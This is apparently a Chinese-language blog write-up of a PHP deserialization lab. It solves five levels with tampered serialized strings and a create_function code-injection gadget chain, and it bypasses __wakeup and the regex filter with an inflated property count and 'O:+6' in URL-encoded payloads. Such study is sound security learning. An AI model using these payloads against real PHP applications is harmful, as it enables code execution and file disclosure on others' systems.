什么是序列化/反序列化, 为什么要进行序列化/反序列化
序列化: 有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。
反序列化: 将序列化的结果还原
PHP序列化:把对象转化为二进制的字符串,使用serialize()函数 (注意,仅序列化属性,不序列化方法)
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数
比如下面这个php对象的一个实例$m
class abc{
var $a = "sb123";
function wdnmd()
{
echo "hello";
}
}
$m = new abc();
echo serialize($m);
序列化后长这样
O:3:"abc":1:{s:1:"a";s:5:"sb123";}
php反序列化漏洞
反序列化就是把序列化后的数据还原回去, 这是一个正常功能, 它会产生反序列化漏洞的原因是如果我们可以修改序列化后的内容(比如类中的属性)就可以控制还原结果
比如上面例子,我将序列化后内容由
O:3:"abc":1:{s:1:"a";s:5:"sb123";}
修改为
O:3:"abc":1:{s:1:"a";s:5:"sb666";}
此时反序列化结果为
反序列化漏洞利用条件:
- 有可变参数
- 有可利用函数
pass1
- 已知当前文件夹下存在另一个文件
flag.php
, 现在想办法把它读取出来 - 修改原来类属性如下,得到构造好的序列化字符串,以
get
方式传参
pass2
//pass2
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>
可以看到只有 $this->user=="daydream" and $this->pass=="ok"
为真时候才能得到 flag
,那我们就传入他需要的参数即可
以 get
方式传参
pass3
这关和第二关的区别是它换位 cookie
传参了,那我们就在 hackbar
里通过 cookie
传参,主要把 serialize()
序列化结果 url编码
一下再传参
pass4
//pass4
<?php
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET['param']);
?>
这关利用了一个特性: 当一个数组array中第一个参数是对象,第二个参数是该对象内的方法时,在反序列化该数组时会执行该对象内的该方法.
函数create_function(string $args,string \(code) 比如 create_function('\)a, $b', return \(a+\)b);
- string $args 声明的函数变量部分
- string $code 执行的方法代码部分
- 返回值为该函数名字
- 从PHP 7.2.0开始,create_function()被废弃
这关思路是通过class func
的 unserialize
去反序列化一个数组,这个数组的第一个参数是class GetFlag
的一个实例,第二个参数是它的方法 get_flag()
,而现在就想办法让 GetFlag
的实例能够输出flag
//抄袭于靶场作者给的wp
<?php
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>
上面一系列操作替换后 function get_flag()
相当于下面方法
public function get_flag(){
$a=$this->action;
create_function('', }include("flag.php");echo $flag;//);
}
现在这个方法就可以输出flag了,我们通过反序列化数组执行这个方法即可
现在把序列化后的数据以get方式传入,得到flag
pass5
<?php
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
这关目标是要执行类 secret
的一个实例,这个实例的属性$file
需要修改为 $file=flag.php
, 但是这关有个魔术方法 __wakeup
会在反序列化时候修改$file
,所以我们需要修改序列化结果,使其中属性数量大于实际数量就可以避免执行 __wakeup
方法, 而反序列化是在下面函数中执行的
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
所以要想办法执行传入实例序列化结果cmd
到 unserialize($cmd);
- 先创建一个实例,修改
$file=flag.php
,并得到其序列化结果
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
- 修改序列化结果中属性数量,使其大于实际数量
O:6:"secret":5:{s:4:"file";s:8:"flag.php";}
- 下面的函数对
cmd
有正则过滤,我们稍加修改
O:+6:"secret":5:{s:4:"file";s:8:"flag.php";}
- 对结果进行
URL编码
O%3A%2B6%3A%22secret%22%3A5%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
get
传参
?cmd=O%3A%2B6%3A%22secret%22%3A5%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
标签:function,php,SER,cmd,echo,flag,序列化
From: https://www.cnblogs.com/mysec/p/17794532.html